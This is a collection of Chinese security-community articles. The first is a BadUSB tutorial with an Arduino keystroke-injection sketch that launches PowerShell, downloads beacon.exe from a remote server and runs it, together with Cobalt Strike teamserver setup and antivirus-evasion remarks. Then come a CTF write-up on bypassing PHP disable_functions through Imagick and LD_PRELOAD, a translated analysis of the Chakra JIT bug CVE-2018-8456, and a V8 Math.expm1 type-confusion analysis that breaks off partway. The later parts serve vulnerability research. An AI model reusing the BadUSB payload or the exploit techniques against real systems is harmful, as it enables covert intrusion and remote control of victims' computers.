InterfaceDevice，是计算机直接与人交互的设备，例如键盘、鼠标等）攻击的一种。攻击者通过将USB设备模拟成为键盘，让电脑识别成为键盘，然后进行脚本模拟按键进行攻击。Badusb也属于HID攻击的一种，在badusb之前还有两种HID攻击分别是teensy和USB
RUBBER DUCKY（usb橡皮鸭）。
Teensy
攻击者在定制攻击设备时，会向USB设备中置入一个攻击芯片，此攻击芯片是一个非常小而且功能完整的单片机开发系统，它的名字叫TEENSY。通过TEENSY你可以模拟出一个键盘和鼠标，当你插入这个定制的USB设备时，电脑会识别为一个键盘，利用设备中的微处理器与存储空间和编程进去的攻击代码，就可以向主机发送控制命令，从而完全控制主机，无论自动播放是否开启，都可以成功。
Arduino
Arduino是一款便捷灵活、方便上手的开源电子原型平台。包含硬件（各种型号的Arduino板）和软件（ArduinoIDE)。由一个欧洲开发团队于2005年冬季开发。其成员包括Massimo
Banzi、David Cuartielles、Tom Igoe、Gianluca Martino、David Mellis和Nicholas
Zambetti等。
它构建于开放原始码simple
I/O介面版，并且具有使用类似Java、C语言的Processing/Wiring开发环境。主要包含两个的部分：硬件部分是可以用来做电路连接的Arduino电路板；另外一个则是Arduino
IDE，你的计算机中的程序开发环境。你只要在IDE中编写程序代码，将程序上传到Arduino电路板后，程序便会告诉Arduino电路板要做些什么了。
攻击流程
BadUsb插入后，会模拟键盘对电脑进行操作，通过这些操作打开电脑的终端，并执行保存在usb中的命令，这条命令将从指定网址下载已经生成并且已经做好免杀处理的木马在后台静默运行。当cs木马一旦运行后，cs将会收到主机上线的信息，有空应该会将写个插件将上线的提醒通过信息的方式发送至手机上。
0x01
工具
首先需要一个badusb，主要是其他太贵了，在淘宝买一个比较大众的很便宜，大概25-30块一个。
这个时候就还需要一个放置在云上的服务器了，当然还是因为穷我选择了阿里云的学生机服务器，只要9.5一个月。
因为菜的缘故，cs用的免杀刚好是前几天遇到的一个工具，不过说真的免杀效果还可以，至少windows defender和火绒是没报毒给我杀了。
0x02
云服务器
因为云服务器不用快递，所以可以先搭建一个云服务器，但是我比较菜，服务器重置系统至少重置了5次，属实菜的抠脚。
首先装完一个系统就得先更新一下。
Sudo root su进入root权限
Apt-get update
Apt-get upgrade
Cs服务器搭建
然后就可以将cs移动到云服务器上了，我用的ubuntu，主要是我搞了半天没把cs服务器搭成功在windows上。
cs服务端一定得先给它一个权限才能运行
chmod 777 ./teamserver
然后就可以开启服务了
./teamserver ip password
因为teamserver的默认端口是50050，所以在阿里云的控制端上还需要将防火墙中的50050端口打开。千万记得一定得打开，之后所有要使用的端口都要打开，不然连都连不上。淦！！！！
Badusb
经过几天的快递，badusb终于到了，迫不及待的上网上找了一个Arduino程序就进行变成了，为了方便学习的小伙伴，我决定附上我的百度云这样就不用找了。
链接：<https://pan.baidu.com/s/1DqDIxS-KfbZDXRB5fBx_cQ>
提取码：h72t
运行后是这个样子
setup（）：Arduino控制器通电或者复位后，就会开始执行Arduino的初始化配置（IO口 串口等）;
loop（）：setup函数执行完毕后，Arduino会接着执行loop（）函数中的程序。而loop函数是一个死循环，其中的程序会不断地重复运行。通常在loop函数中完成程序的主要功能，如驱动各种模块和采集数据等。
因为是简单badusb，所以我们只需要再setup中输入数据就可以了，让usb一被插上电脑就开始执行命令。
# include <Keyboard.h>
void setup() {
Keyboard.begin();//开始键盘通讯
delay(3000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press('r');//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
Keyboard.release(KEY_CAPS_LOCK);//
delay(500);
Keyboard.println("cmd");
//Keyboard.println("CMD /q /d /f:off /v:on /k MODE con: cols=15 lines=1");
//无回显
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.println("powershell");
Keyboard.println("$clnt = new-object system.net.webclient;");
Keyboard.println("$url= '<http://xx.xx.xx.xx/beacon.exe>';"); //远程服务器ps1远控地址
Keyboard.println("$file = 'c:\users\public\downloads\systemis.exe';");
//下载到目标存放文件的地址
Keyboard.println("$clnt.downloadfile($url,$file)"); //采用分段执行绕过防火墙进程防护
Keyboard.println("powershell.exe start
c:\users\public\downloads\systemis.exe"); //本地权限绕过执行木马脚本
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.println("exit");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(3000);
Keyboard.println("exit");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.end();//结束键盘通讯
}
void loop() {
// put your main code here, to run repeatedly:
}
其中有几点需要注意
1、在arduino中需要选择对应的端口及开发板。
如果这个没修改的话会提示没有kyboard头文件。我当时被这个细节卡了挺久的- -。
2、代码中的大小写是为了防止默认输入法是中文，容易输不进去。
Phpstudy搭建
因为需要从服务器中下载上线马，就需要部署一个httpd在那上面，我部署的是phpstudy小皮版本，这玩意后台管理界面还有一个防火墙，就因为这防火墙没开放对应的端口，搞的我的cs客户端一直连不上，头大~~~~
还有一点就是在服务器上需要放2个上线马，一个是大写的一个是小写的，因为你没法保证你插的那台电脑到底是个大写还是小写。
菜鸡第一次写文章，各位不要说我菜，你说了我也不听！！ | 社区文章 |
周末打了两天, 自闭 web 狗就做出来这一题, 题目质量真的是非常高, 学到了很多.
## 描述
Imagick is a awesome library for hackers to break `disable_functions`.
So I installed php-imagick in the server, opened a `backdoor` for you.
Let's try to execute `/readflag` to get the flag.
Open basedir: /var/www/html:/tmp/949c1400c8390865cb5939a106fec0b6
Hint: eval($_POST["backdoor"]);
## 提示
WALLBREAKER EASY
Ubuntu 18.04 / apt install php php-fpm php-imagick
第一眼看上去, 直接给了 webshell, 要求是执行根目录下的 `/readflag`,
先执行一波 `phpinfo()` 看看信息.
可以看到是 lnp 64 位环境, disable_function 如下
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail
Imagick 信息如下
## 题解
可以看到禁用了全部能直接执行程序的函数, 顺便还禁用了 mail, 不然的话可以直接用 `LD_PRELOAD` 来执行系统命令.
具体可以看这个[项目](https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD).
接下来第一反应是通过 ghostscript 的 0day 打一波试试, 但尝试了几次全部都没有反应... 好吧没有报错太蛋疼了,
我们还是照着提示搭一波环境吧.
然后发现这里其实就真的跟提示一样, 全是最新的环境, 所以肯定是不存在已知的严重 0day 的...
同时, 可以看到在默认的配置文件中, 已经禁用了 ghostscript 的使用, 不能通过 gs 来命令执行.
$ cat /etc/ImageMagick-6/policy.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE policymap [
<!ELEMENT policymap (policy)+>
<!ELEMENT policy (#PCDATA)>
<!ATTLIST policy domain (delegate|coder|filter|path|resource) #IMPLIED>
<!ATTLIST policy name CDATA #IMPLIED>
<!ATTLIST policy rights CDATA #IMPLIED>
<!ATTLIST policy pattern CDATA #IMPLIED>
<!ATTLIST policy value CDATA #IMPLIED>
]>
<policymap>
<!-- <policy domain="resource" name="temporary-path" value="/tmp"/> -->
<policy domain="resource" name="memory" value="256MiB"/>
<policy domain="resource" name="map" value="512MiB"/>
<policy domain="resource" name="width" value="16KP"/>
<policy domain="resource" name="height" value="16KP"/>
<policy domain="resource" name="area" value="128MB"/>
<policy domain="resource" name="disk" value="1GiB"/>
<policy domain="delegate" rights="none" pattern="URL" />
<policy domain="delegate" rights="none" pattern="HTTPS" />
<policy domain="delegate" rights="none" pattern="HTTP" />
<!-- in order to avoid to get image with password text -->
<policy domain="path" rights="none" pattern="@*"/>
<policy domain="cache" name="shared-secret" value="passphrase" stealth="true"/>
<!-- disable ghostscript format types -->
<policy domain="coder" rights="none" pattern="PS" />
<policy domain="coder" rights="none" pattern="EPI" />
<policy domain="coder" rights="none" pattern="PDF" />
<policy domain="coder" rights="none" pattern="XPS" />
</policymap>
看起来好像一切的都没了希望, 但这时突然想起, 有没有可能通过 `Imagick` 来达到 `mail` 函数类似的效果呢? 上面的
`LD_PRELOAD` 其实是劫持了启动进程这一行为, 也就是说, 如果我们能让 `Imagick` 调用外部进程, 我们完全可以不通过 `mail`
来执行系统命令.
`Imagick` 的底层是 `ImageMagick`, 这里就要说 `ImageMagick` 的 `delegate` 问题,
`ImageMagick` 其实并没有实现所有文件格式的转换, 而是启动外部程序来进行转换, 就像上面的 ghostscript, 如果要将图片转换为
pdf, 就需要调用 ghostscript 来转换, 而这就会启动新的进程, 触发 `LD_PRELAOD`.
$ cat /etc/ImageMagick-6/delegates.xml
<!DOCTYPE delegatemap [
<!ELEMENT delegatemap (delegate)+>
<!ELEMENT delegate (#PCDATA)>
<!ATTLIST delegate decode CDATA #IMPLIED>
<!ATTLIST delegate encode CDATA #IMPLIED>
<!ATTLIST delegate mode CDATA #IMPLIED>
<!ATTLIST delegate spawn CDATA #IMPLIED>
<!ATTLIST delegate stealth CDATA #IMPLIED>
<!ATTLIST delegate thread-support CDATA #IMPLIED>
<!ATTLIST delegate command CDATA #REQUIRED>
]>
<delegatemap>
<!-- 省略很多行 -->
<delegate decode="bmp" encode="wdp" command="/bin/mv "%i" "%i.bmp"; "JxrEncApp" -i "%i.bmp" -o "%o.jxr"; /bin/mv "%i.bmp" "%i"; /bin/mv "%o.jxr" "%o""/>
<delegate decode="ppt" command=""soffice" --convert-to pdf -outdir `dirname "%i"` "%i" 2> "%u"; /bin/mv "%i.pdf" "%o""/>
<delegate decode="pptx" command=""soffice" --convert-to pdf -outdir `dirname "%i"` "%i" 2> "%u"; /bin/mv "%i.pdf" "%o""/>
<delegate decode="ps:alpha" stealth="True" command=""gs" -sstdout=%%stderr -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=pngalpha" -dTextAlphaBits=%u -dGraphicsAlphaBits=%u "-r%s" %s "-sOutputFile=%s" "-f%s" "-f%s""/>
<delegate decode="ps:cmyk" stealth="True" command=""gs" -sstdout=%%stderr -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=pamcmyk32" -dTextAlphaBits=%u -dGraphicsAlphaBits=%u "-r%s" %s "-sOutputFile=%s" "-f%s" "-f%s""/>
<!-- 省略很多行 -->
</delegatemap>
可以看到有很多的 delegate, 在进行这些格式的编码以及解码时, `ImageMagick` 会调用这些外部程序.
但是这些外部程序大部分其实都不自带, 得自己安装, 不会起新的进程, 但是可以注意到这个特殊的格式,
<delegate decode="bmp" encode="wdp" command="/bin/mv "%i" "%i.bmp"; "JxrEncApp" -i "%i.bmp" -o "%o.jxr"; /bin/mv "%i.bmp" "%i"; /bin/mv "%o.jxr" "%o""/>
其中有系统自带的 mv, 这肯定是能执行成功的, 我们只要通过转换格式就能调用这个 delegate.
通过 strace 也可以发现确实调用了 mv, 即使因为 JxrEncApp 不存在导致图片转换失败, 但只要因为 mv 调起了新进程,
我们就能执行任意命令.
这样, 就可以通过 `ImageMagick` 来触发新进程的产生, 并通过修改 `LD_PRELOAD` 的方式来执行任意系统命令.
最后 exp 如下, 写入so文件
修改 `LD_PRELOAD` 并转换图片格式, 最终执行系统变量 `EVIL_CMDLINE` 里的命令.
PS. 写入 so 文件的时候记得把 base64 里的 `+` 给编码, 不然会被当成空格.
还有一种思路是修改 `PATH` 环境变量, 修改为 `/tmp/xxx/`, 然后新建一个名为 `JxrEncApp` 之类的的恶意文件,
`ImageMagick` 在 `delegete` 的时候将会调用这个, 从而执行命令.
不得不说题目质量是真的高, 膜 rr.
## 总结
除了这种 `LD_PRELOAD` 的方式之外, 还有其他一些骚操作, 可以看
[l3m0n](https://github.com/l3m0n/Bypass_Disable_functions_Shell) 师傅总结的.
在遇到这种困境时, 不防想想有没有什么其他办法能 bypass 掉当前的限制, 开辟新的方法. | 社区文章 |
# Chakra JIT Loop LandingPad ImplicitCall Bypass
##### 译文声明
本文是翻译文章，文章原作者 Projectmoon，文章来源：projectmoon.pw
原文地址：<https://blogs.projectmoon.pw/2018/10/26/Chakra-JIT-Loop-LandingPad-ImplicitCall-Bypass/>
译文仅供参考，具体内容表达以及含义原文为准。
Author: Qixun Zhao(aka @S0rryMybad && 大宝) of Qihoo 360 Vulcan Team
## 前言
在[第一篇文章](https://blogs.projectmoon.pw/2018/08/17/Edge-InlineArrayPush-Remote-Code-Execution/)的时候,我们提到过关于回调的漏洞一般分为三种情况,其中第一种是GlobOpt阶段的|BailOutOnImplicitCall|
bailoutKind没有加入.具体来说就是在GlobOpt阶段遍历处理每一个opcode的时候,chakra会检测这个opcode是否有必要加上此bailoutKind,如果加上了,在Lower阶段生成出的指令中会在指令结束的时候检测一个implicit
call
flag，在发生回调的时候这个flag设置为true,JIT生成的检测指令如果检测到为true就会bailout,用于在回调发生的时候bailout。
今天我们要介绍的是[CVE-2018-8456](https://github.com/Microsoft/ChakraCore/commit/98360625854f84262ce8de59a7f57496393281f3),这个漏洞的原理有点复杂,我的表达可能会不太清楚,希望大家能坚持看下去:)
## Check Or Not Check?
我们知道,在很多情况下,上述的implicit call flag
check指令是没有必要生成的,所以有一个专门的函数决定当前opcode是否生成|BailOutOnImplicitCall|
bailoutKind,这个函数是|IsImplicitCallBailOutCurrentlyNeeded|.
我们可以看到高亮的地方,对应的参数是|mayNeedImplicitCallBailOut|,如果为false,这个指令必定不会生成|BailOutOnImplicitCall|,换句话说,如果当前block
|IsLandingPad|为true,当前block上所有的指令都不会生成check.这里我们有必要了解一些编译原理的相关术语block和LandingPad
## What is LandingPad
在编译原理中,CFG(控制流程图)中的最小单位是block,每一个不同的流程都会分裂出一个block,而block也是JIT中很喜欢进行优化的一个单元(我们可以看到optblock等等的函数),block组成function,opcode组成block.而LandingPad是针对Loop(循环)优化而生成的一个子block,用于存放loop中一定保持不变的变量的相关指令,也就是没有必要每一次循环都调用的指令.举个具体的例子,看如下js代码:
我们知道数组每一次的访问都是需要load field,type check, bound check等等,然后再赋值,但是这里很明显type
check和bound check都是可以提取到loop
body外面,只需要在循环开始的时候检查一次就可以了,否则会浪费很多时间执行没必要的检查,这个在chakra称为|Loop
hoist|.用于存放这些只需要在循环开始运行一次的指令的block就称为|LandingPad|,在这个区域中生成的任何指令都不会进行implicit
call check.
但是很明显不是每一个opcode都是可以hoist到|LandingPad|的,用于决定函数是否可以hoist的函数是|TryHoistInvariant|
=>
|OptIsInvariant|.简单来说就是,如果chakra觉得opcode的所有src都是不变量并且opcode带有CanCSE的属性,这个opcode就会被hoist.通过简单审阅一遍,我发现能hoist的指令的条件十分苛刻,主要在CanCSE属性和要求Src的Type
|IsPrimitive|为true这两点上:
这几乎把所有能回调的opcode都封掉了.其实这也很正常,如果带有回调,opcode的dst就肯定不会为不变量.所以这里我们需要转换思路.
## Give me a callback in LandingPad
CSE是一种常见的编译器优化措施,用于消除一些可以取代的公共子表达式,但是带有回调的opcode是不可以通过CSE措施消除的,因为带有回调往往就表示这个opcode产生的结果不会是不变量.既然不能直接hoist,那么我们能不能用已经hoist的指令生成一个新的带有回调的指令呢,事实证明这个思路是可行的.我在审阅|OptHoistInvariant|的过程中,出现一种情况会生成一个新的opcode(OptHoistInvariant=>OptHoistUpdateValueType):
我们可以看到,|SetConcatStrMultiItemBE|有一个逻辑会生成|Conv_PrimStr|,并且这个opcode带有|OpOpndHasImplicitCall|属性,说明它是有可能回调的.聪明的读者在这里可能也会提问为什么我们不直接插入|Conv_PrimStr|到LandingPad.这里因为要产生回调src必须不为Primitive,但是上文已经提到,如果|IsPrimitive|为false,这个指令是不可以hoist的,所以这里通过这种曲线救国的方法hoist上去.
## What is your src’s TYPE, Conv_PrimStr?
接下来是此漏洞最关键的地方.
所以为什么通过|SetConcatStrMultiItemBE|hoist上去的|Conv_PrimStr|就可能不为Primitive?首先我们需要看函数|OptHoistUpdateValueType|的逻辑,正如函数名字那样,因为在hoist的过程中,这个opcode是需要从一个block转移到另一个block上(LandingPad),所以opcode的src
type是需要更新的,因为type check指令可能存在与这两个block之间,如果hoist到type
check指令之前,type要变为Likely.还是举个例子:
这里我们给var1变量的profile feed一个string类型,然后调用它的|slice|函数,在调用的时候需要type check string,
type check完成后,在这个block中余下的地方,var1 这个value的type都是|Definite
String|,所以|IsPrimitive|为true,并且其他两个相加的变量都是常量字符串,这样可以保证了每一次循环中|let tmp2 = var1
+ ‘projectmoon’ + ‘projectmoon’;|tmp2得到的结果都是一样的,完全可以hoist到loop
body外面,从而|SetConcatStrMultiItemBE|会hoist到LandingPad,由于LandingPad在slice调用以前,也就是在type
check string之前,所以这个时候的var1变量的type必须从|Definite String|变成|Likely
String|.而|OptHoistUpdateValueType|就是专门负责这种情况的:
由于现在var1还没有经过slice函数调用,也就是没有经过type check
string,所以它可能是非String类型的变量,所以这里还需要加入一个|Conv_PrimStr|
opcode,用于把非String类型转换成String,正如上文提到的(因为SetConcatStrMultiItemBE要求传入的src都是String),这个指令有可能生成回调,同时它的src
type
|IsPrimitive|为false,按照chakra的设计,它是不可以出现在LandingPad区域的,但是通过这个trick我们得到了这样的环境.
## 构造PoC
有了上文提到的要点后,我们可以开始构造PoC,首先是生成|SetConcatStrMultiItemBE|,这个是通过三个String相加生成(就如上图的例子),这里我们使用var1
+ “constString” +
“constString”生成.其次var1变量必须是String类型(IsPrimitive为true),这样才能hoist到LandingPad.这里我们通过调用var1.slice在String相加之前进行type
check,从而保证了var1在|SetConcatStrMultiItemBE|这里的type是|definite
String|,这里才能保证hoist成功.
这里还有一个问题就是type check指令的hoist(在chakra
master版本有这个问题,正式版本中没有),由于string.slice()需要进行type check,而chakra也认为这个type
check可以hoist到LandingPad中(事实也应该如此),从而会导致我们的变量在LandingPad进入|Conv_PrimStr|之前type
check失败,然后发生bailout,这里我们只需要在loop body中加入arguments变量,就可以阻止string type check
opcode的hoist.构造完有问题的循环体后,我们在循环体的前后加入两个数组的access,在循环体的callback中改变数组的类型,导致type
confusion.
最后JIT的函数体如下:
给JIT profile的时候,我们传入一个string类型给string 参数:
这里传入一个带回调的obj触发漏洞,这里需要注意的是我们不能进入循环体,不然slice函数的string type
check会失败然后bailout,所以start和end都必须为0,但是无论进不进入循环体,LandingPad的指令(回调函数)都是会执行的:
这个特性同时也会产生一些JS层面上的bug,同一段代码在edge中会触发回调,在其他主流浏览器中不会触发回调(事实也不应该触发回调,毕竟我们没有进入循环体,没有执行|let
tmp2 = string + ‘projectmoon’ + ‘projectmoon’;|语句).
通过这个type
confusion我们很容易泄露任何对象的地址和伪造任何对象(参考我们的第一篇文章),有了这两个原语,距离RCE就不远了,具体这里就不再叙述,网络上有大量的公开文章.
## 总结
我们可以看到,通过不同block之间的优化,我们可以得到一些比较复杂的bug,而这些bug往往隐藏得比较深,fuzz也比较难以得到.也启发了我们以后在审阅JIT的相关漏洞的时候,不要再单单针对某个opcode,而是通过block甚至function为单元的审核. | 社区文章 |
## 前言：
分析了一下`Math.expm1(-0)`的`OOB`的洞，发现小到可能觉得只是个功能特性问题，并不是一个`bug`的漏洞，也能够通过一些极其巧妙的方法来达到一个意想不到的漏洞利用。
## 正文：
相关`issue`在这里：
1. <https://bugs.chromium.org/p/project-zero/issues/detail?id=1710>
2. <https://bugs.chromium.org/p/chromium/issues/detail?id=880207>
关键的在这里：
function foo() {
return Object.is(Math.expm1(-0), -0);
}
console.log(foo());
%OptimizeFunctionOnNextCall(foo);
console.log(foo());
$ ./d8 --allow-natives-syntax expm1-poc.js
true
false
可能乍一看，也就是一个特性问题，正不正确的其实也没多大关系..漏洞发现者开始也是这么觉得的..但是后来他才发现这个漏洞是完全可利用的`RCE`。该漏洞修复了两次，第一次官方只`patch`了一个文件`operation-typer.cc`，后面又`patch`了`typer.cc`文件。`patch`记录可以参考如下：
1. <https://chromium.googlesource.com/v8/v8.git/+/76df2c50d0e37ab0c42d0d05a637afe999fffc49>
2. <https://chromium.googlesource.com/v8/v8.git/+/56f7dda67fdc9777719f71225494033f03aecc96>
这里就拿`35C3`上的题来说，作者拿了他发现的这个洞去出了题，出的是只打了`operation-typer.cc`没有打`typer.cc`的题。现在我们直接来分析一下，先看看两个`patch`：
`operation-typer.cc`：
Type OperationTyper::NumberExpm1(Type type) {
DCHECK(type.Is(Type::Number()));
- return Type::Union(Type::PlainNumber(), Type::NaN(), zone());
+ return Type::Number();
}
Type OperationTyper::NumberFloor(Type type) {
`typer.cc`：
@@ -1433,7 +1433,6 @@
// Unary math functions.
case BuiltinFunctionId::kMathAbs:
case BuiltinFunctionId::kMathExp:
- case BuiltinFunctionId::kMathExpm1:
return Type::Union(Type::PlainNumber(), Type::NaN(), t->zone());
case BuiltinFunctionId::kMathAcos:
case BuiltinFunctionId::kMathAcosh:
@@ -1443,6 +1442,7 @@
case BuiltinFunctionId::kMathAtanh:
case BuiltinFunctionId::kMathCbrt:
case BuiltinFunctionId::kMathCos:
+ case BuiltinFunctionId::kMathExpm1:
case BuiltinFunctionId::kMathFround:
case BuiltinFunctionId::kMathLog:
case BuiltinFunctionId::kMathLog1p:
需要说明的是这时候的`CheckBounds`检查还是可以消除的。
从`patch`来看修改了`MathExpm1`的`type`类型，本来是`PlainNumber加NaN`类型的，现在修改成了`Number`类型。`PlainNumber`类型表示除-0之外的任何浮点数，但是这是在`TurboFan`当中的，实际不优化过程是被当作浮点数的，浮点数是包括`-0`的。所以这就产生了错误。
当我们直接运行`Poc`的话，仍然会得到一样的结果，我们先看看IR显示结果：
function test(x){
var b = Object.is(Math.expm1(x),-0);
return b; //a[b * 4];
}
print(test(-0));
for (var i = 0; i < 100000; i++) {
test(1);
}
print(test(-0));
这里直接显示了`Number`类型，原因是他打了`operation-typer.cc`的补丁，导致`TurboFan`猜测类型结果为`Number`类型，所以导致后面可真也可假，不会触发`bug`。那我们要怎么去利用`typer.cc`没有打上的`patch`呢？我们首先得知道`typer.cc`上`JSCallTyper`函数是拿来用在内置函数优化上的，而不是`NumberExpm1`上的，`OperationTyper::NumberExpm1`是用在普通优化`Math.expm1`函数上的。所以我们需要利用内置函数上的`bug`去触发，那么我们该怎么去触发`Math.expm1`出现在内置函数的优化上呢，这就需要去优化了：
该函数`Math.expm1`是数字输入的优化结点，也就是说`TurboFan`推测该函数输入将会是一个数字。如果运行的确实是一个数字的话，那么它就继续执行代码，但是如果不是一个数字，优化函数将会把不是一个数字的结果反馈给解释器，那么会执行一个“去优化”，此时解释器将会使用内置函数，他可以接受所有的类型。下次编译之后，`TurboFan`会有反馈信息通知他输入的并不总是数字，从而会产生内置函数的调用，而不是`NumberExpm1`的调用。
修改一下代码如下：
function test(x){
var b = Object.is(Math.expm1(x),-0);
return b; //a[b * 4];
}
print(test(-0));
for (var i = 0; i < 100000; i++) {
test("1");
}
print(test(-0));
此时再看IR会发现有两个文件，其中一个是正常`NumberExpm1`优化，另一个就是内置函数的优化了，得到了一个`Call`结点：
加上`--trace-deopt`来查看一下去优化的信息：
[deoptimizing (DEOPT eager): begin 0x1bddfbb9df21 <JSFunction test (sfi = 0x1bddfbb9dc71)> (opt #0) @0, FP to SP delta: 24, caller sp: 0x7ffe301a06c0]
;;; deoptimize at <./exp.js:2:25>, not a Number or Oddball
reading FeedbackVector (slot 8)
reading input frame test => bytecode_offset=0, args=2, height=6, retval=0(#0); inputs:
0: 0x1bddfbb9df21 ; [fp - 16] 0x1bddfbb9df21 <JSFunction test (sfi = 0x1bddfbb9dc71)>
1: 0x234d92701521 ; [fp + 24] 0x234d92701521 <JSGlobal Object>
2: 0x28603cd042c9 ; rax 0x28603cd042c9 <String[1]: 1>
3: 0x1bddfbb81749 ; [fp - 24] 0x1bddfbb81749 <NativeContext[249]>
4: 0x28603cd00e19 ; (literal 3) 0x28603cd00e19 <Odd Oddball: optimized_out>
5: 0x28603cd00e19 ; (literal 3) 0x28603cd00e19 <Odd Oddball: optimized_out>
6: 0x28603cd00e19 ; (literal 3) 0x28603cd00e19 <Odd Oddball: optimized_out>
7: 0x28603cd00e19 ; (literal 3) 0x28603cd00e19 <Odd Oddball: optimized_out>
8: 0x28603cd00e19 ; (literal 3) 0x28603cd00e19 <Odd Oddball: optimized_out>
9: 0x28603cd00e19 ; (literal 3) 0x28603cd00e19 <Odd Oddball: optimized_out>
translating interpreted frame test => bytecode_offset=0, height=48
0x7ffe301a06b8: [top + 104] <- 0x234d92701521 <JSGlobal Object> ; stack parameter (input #1)
0x7ffe301a06b0: [top + 96] <- 0x28603cd042c9 <String[1]: 1> ; stack parameter (input #2)
------------------------- 0x7ffe301a06a8: [top + 88] <- 0x563b96976ef5 ; caller's pc
0x7ffe301a06a0: [top + 80] <- 0x7ffe301a0710 ; caller's fp
0x7ffe301a0698: [top + 72] <- 0x1bddfbb81749 <NativeContext[249]> ; context (input #3)
0x7ffe301a0690: [top + 64] <- 0x1bddfbb9df21 <JSFunction test (sfi = 0x1bddfbb9dc71)> ; function (input #0)
0x7ffe301a0688: [top + 56] <- 0x1bddfbb9e079 <BytecodeArray[43]> ; bytecode array
0x7ffe301a0680: [top + 48] <- 0x003900000000 <Smi 57> ; bytecode offset
------------------------- 0x7ffe301a0678: [top + 40] <- 0x28603cd00e19 <Odd Oddball: optimized_out> ; stack parameter (input #4)
0x7ffe301a0670: [top + 32] <- 0x28603cd00e19 <Odd Oddball: optimized_out> ; stack parameter (input #5)
0x7ffe301a0668: [top + 24] <- 0x28603cd00e19 <Odd Oddball: optimized_out> ; stack parameter (input #6)
0x7ffe301a0660: [top + 16] <- 0x28603cd00e19 <Odd Oddball: optimized_out> ; stack parameter (input #7)
0x7ffe301a0658: [top + 8] <- 0x28603cd00e19 <Odd Oddball: optimized_out> ; stack parameter (input #8)
0x7ffe301a0650: [top + 0] <- 0x28603cd00e19 <Odd Oddball: optimized_out> ; accumulator (input #9)
[deoptimizing (eager): end 0x1bddfbb9df21 <JSFunction test (sfi = 0x1bddfbb9dc71)> @0 => node=0, pc=0x563b969772c0, caller sp=0x7ffe301a06c0, took 0.129 ms]
Feedback updated from deoptimization at <./exp.js:2:25>, not a Number or Oddball
可以看见一些`not a Number or
Oddball`的信息，说明跟编译器推测的`Number`类型不一样，从而发生了去优化，此时编译器在结点处猜测的类型为`PlainNumber|NaN`，已经达到了我们所期望的结果了。
**整个过程其实就是编译器先运行假设输入为`Number`类型，当类型反馈告诉编译器此时的输入是一个字符串时，`TurboFan`此时就会去优化，第二次编译该函数时，会调用输入可以为任何类型的内置函数来进行优化。达到期望效果。**
**总体来说，`TurboFan`是根据类型反馈`FeedBack`来工作的，还有一个点是“预测”。就是反馈和预测相结合来工作的。**
接下来要考虑的就是该如何去触发`OOB`的访问了。
先测试如下代码：
function test(x){
var a = [1.1,2.2,3.3,4.4];
var b = Object.is(Math.expm1(x),-0);
return a[b*4]; //a[b * 4];
}
for (var i = 0; i < 100000; i++) {
test("1");
}
print(test(-0));
直接看`simplified lowering`阶段的`IR`：
可以发现这里被折叠为直接取了数组的第零位。往前看看被折叠的最初始位置。
最开始可以在`typer`阶段就可以看见，`typer`阶段的`SameValue`结点就已经折叠为`false`了，后面自然就直接取`index`为0了。具体可以看`operation-typer.cc`的代码：
Type OperationTyper::SameValue(Type lhs, Type rhs) {
if (!JSType(lhs).Maybe(JSType(rhs))) return singleton_false();
if (lhs.Is(Type::NaN())) {
if (rhs.Is(Type::NaN())) return singleton_true();
if (!rhs.Maybe(Type::NaN())) return singleton_false();
} else if (rhs.Is(Type::NaN())) {
if (!lhs.Maybe(Type::NaN())) return singleton_false();
}
if (lhs.Is(Type::MinusZero())) {
if (rhs.Is(Type::MinusZero())) return singleton_true();
if (!rhs.Maybe(Type::MinusZero())) return singleton_false();
} else if (rhs.Is(Type::MinusZero())) {
if (!lhs.Maybe(Type::MinusZero())) return singleton_false(); --> fold false
} // hit here
if (lhs.Is(Type::OrderedNumber()) && rhs.Is(Type::OrderedNumber()) &&
(lhs.Max() < rhs.Min() || lhs.Min() > rhs.Max())) {
return singleton_false();
}
return Type::Boolean();
}
所以我们需要改变一下代码形式，使得`SameValue`在该阶段不被折叠，也就是不被“发现就可以了”。
根据代码，我们有两种方式，第一种为使得左分支可能为`-0`，第二种为使得右分支不为`-0`。因为第一种是固定不能变的，所以我们只能从第二种方式下手，我们得把`-0`右分支替换掉。
先试试这样的：
function test(x,y){
var a = [1.1,2.2,3.3,4.4];
var b = Object.is(Math.expm1(x),y);
return a[b*4]; //a[b * 4];
}
for (var i = 0; i < 100000; i++) {
test("1",-0);
}
print(test(-0,-0));
这时候虽然`SameValue`结点会保留下来，但是到了`simplified
lowering`阶段的时候无法消除`CheckBounds`，这样最终也是无法利用的，后面可以发现`y`作为第二个参数`Parameter[2]`结点为`NotInternal`类型，该类型表示编译器不知道`y`的类型，也就是说，`y`也可以是`-0`，那么`SameValue`可真也可假，导致最后`CheckBounds`结点无法消除。
这点得去好好研究一下`TurboFan`的`pipeline`运行机制。此处引用一个作者的图来表示`pipeline`管道优化的大概流程：
